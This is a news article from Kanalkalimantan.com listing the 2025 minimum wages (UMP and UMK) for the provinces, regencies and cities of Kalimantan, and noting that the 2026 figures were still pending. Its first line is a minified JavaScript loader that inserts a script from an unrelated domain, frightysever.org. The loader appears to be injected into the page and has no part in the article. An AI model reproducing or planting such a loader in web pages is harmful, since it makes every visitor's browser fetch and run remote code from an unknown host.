(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pengumuman UMP 2026 tengah dinantikan seluruh masyarakat Indonesia, tidak terkecuali bagi masyarakat Kalimantan. Sebab kenaikan UMR/UMP dan UMK dapat mempengaruhi besar-kecilnya upah di masing-masing provinsi.
Menjelang pengumuman eknaikan UMP 2026, mari intip UMP dan UMK setiap provinsi di Kalimantan tahun 2025.
Melansir dari laman Hukum Online, berikut adalah perbedaan UMP, UMK, dan UMR.
Upah Minimum Provinsi (UMP) merupakan upah atau tunjangan pokok bulanan terendah yang berlaku di masing-masing provinsi Indonesia. Sementara istilah Upah Minimum Kabupaten/Kota (UMK) adalah minimum upah yang berlaku di kabupaten/kota setiap provinsi.
UMR atau Upah Minimum Regional tidak jauh beda dengan UMP dan UMK. Sebab UMR merupakan istilah upah minimum yang berlaku di tingkat provinsi, termasuk kabupaten atau kota. Namun, sejak peraturan dasarnya direvisi menjadi Keputusan Menteri Tenaga Kerja dan Transmigrasi (Kepmenakertrans) No.226 Tahun 2000, dasar hukum UMR sudah tidak berpengaruh.
Sebab demikian, UMR berganti nama menjadi UMP tingkat I yang merujuk provinsi dan UMP II merujuk kabupaten/kota. Namun, sampai saat ini masih banyak masyarakat yang menggunakan istilah UMR daripada UMP.
Permenaker Nomor 16 tahun 2024 mengenai ‘Penetapan Upah Minimum Tahun 2025’, menetapkan kenaikan UMP 2025 sebesar 6,5%. Alhasil, UMP dan UMK seluruh Kalimantan 2025 mengalami kenaikan mencapai 2,8–3,5 juta rupiah.
Berikut adalah daftar UMP Kalimantan 2025.
| Provinsi | UMP 2025 |
| Kalimantan Barat | Rp2.878.286,00 |
| Kalimantan Tengah | Rp3.473.621,04 |
| Kalimantan Selatan | Rp3.496.195,00 |
| Kalimantan Utara | Rp3.580.160,00 |
| Kalimantan Timur | Rp3.579.314,00 |
Setelah melihat daftar UMP Kalimantan 2025, mari intip bersama daftar lengkap UMK Kalimantan 2025 yang telah dihimpun dari Good Stats dan sumber lainnya.
Baca Juga: Cek Kenaikan UMP 2026 Kalimantan di Semua Provinsi, Potensi Naik 10,5%!
| Kabupaten/Kota | UMK 2025 |
| Kabupaten Ketapang | Rp3.396.267,26 |
| Kabupaten Kayong Utara | Rp3.220.756,00 |
| Kota Singkawang | Rp3.074.566,00 |
| Kabupaten Bengkayang | Rp3.062.260,00 |
| Kabupaten Landak | Rp3.054.906,00 |
| Kabupaten Sintang | Rp3.039.805,00 |
| Kota Pontianak | Rp3.024.820,00 |
| Kabupaten Sambas | Rp3.015.520,00 |
| Kabupaten Sanggau | Rp2.970.885,00 |
| Kabupaten Melawi | Rp2.953.711,47 |
| Kabupaten Kapuas Hulu | Rp2.924.501,00 |
| Kabupaten Kubu Raya | Rp2.878.286,00 |
| Kabupaten Mempawah | Rp2.878.286,00 |
| Kabupaten Sekadau | Rp2.878.286,00 |
| Kabupaten/Kota | UMK 2025 |
| Kabupaten Barito Utara | Rp3.900.362,43 |
| Kabupaten Seruyan | Rp3.870.690,32 |
| Kabupaten Barito Selatan | Rp3.829.097,81 |
| Kabupaten Murung Raya | Rp3.793.932,00 |
| Kabupaten Lamandau | Rp3.781.317,00 |
| Kabupaten Sukamara | Rp3.716.340,00 |
| Kabupaten Kotawaringin Barat | Rp3.700.658,81 |
| Kabupaten Katingan | Rp3.561.258,83 |
| Kabupaten Kotawaringin Timur | Rp3.559.112,85 |
| Kabupaten Gunung Mas | Rp3.544.506,38 |
| Kota Palangka Raya | Rp3.525.154,26 |
| Kabupaten Barito Timur | Rp3.498.701,00 |
| Kabupaten Pulang Pisau | Rp3.481.226,00 |
| Kabupaten Kapuas | Rp3.473.710,50 |
| Kabupaten/Kota | UMK 2025 |
| Kabupaten Kotabaru | Rp3.643.004,00 |
| Kota Banjarmasin | Rp3.599.182,13 |
| Kabupaten Tabalong | Rp3.592.197,46 |
| Kabupaten Tanah Bumbu | Rp3.500.161,21 |
| Kabupaten Hulu Sungai Selatan | Rp3.496.150,00 |
| Kabupaten Tapin | Rp3.496.150,00 |
| Kota Banjarbaru | Rp3.496.150,00 |
| Kabupaten Banjar | Rp3.496.150,00 |
| Kabupaten Barito Kuala | Rp3.496.150,00 |
| Kabupaten Tanah Laut | Rp3.496.150,00 |
| Kabupaten Balangan | Rp3.496.150,00 |
| Kabupaten Hulu Sungai Tengah | Rp3.496.150,00 |
| Kabupaten Hulu Sungai Utara | Rp3.496.150,00 |
| Kabupaten/Kota | UMK 2025 |
| Kabupaten Paser | Rp3.591.565,53 |
| Kabupaten Kutai Kartanegara | Rp3.766.379,19 |
| Kabupaten Berau | Rp4.081.376,31 |
| Kabupaten Kutai Timur | Rp3.743.820,00 |
| Kabupaten Kutai Barat | Rp3.952.233,98 |
| Kabupaten Penajam Paser Utara | Rp3.957.345,89 |
| Kota Samarinda | Rp3.724.437,20 |
| Kota Balikpapan | Rp3.701.508,68 |
| Kota Bontang | Rp3.780.012,66 |
| Kabupaten/Kota | UMK 2025 |
| Kabupaten Bulungan | Rp3.706.867,76 |
| Kabupaten Nunukan | Rp3.652.907,04 |
| Kota Tarakan | Rp4.460.405,00 |
| Kabupaten Tana Tidung | Rp3.702.906,00 |
| Kabupaten Malinau | Rp3.841.561,00 |
Hingga per tanggal 14 Desember 2025, belum ada kabar mengenai rilisnya agenda pengumuman UMP Kalimantan 2026.
Mengutip dari NetralNews, Konfederasi Serikat Pekerja Indonesia (KSPI) telah mengajukan tuntutan mengenai besaran kenaikan. Adapun tuntutannya terdiri dari tiga opsi besaran kenaikan sebesar 6,6%, 7,77%, dan 10,5 %.
Sehingga, pengumuman UMP Kalimantan 2026 masih belum ditetapkan sampai rilisnya penetapan kenaikan UMP 2026 oleh pemerintah pusat. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.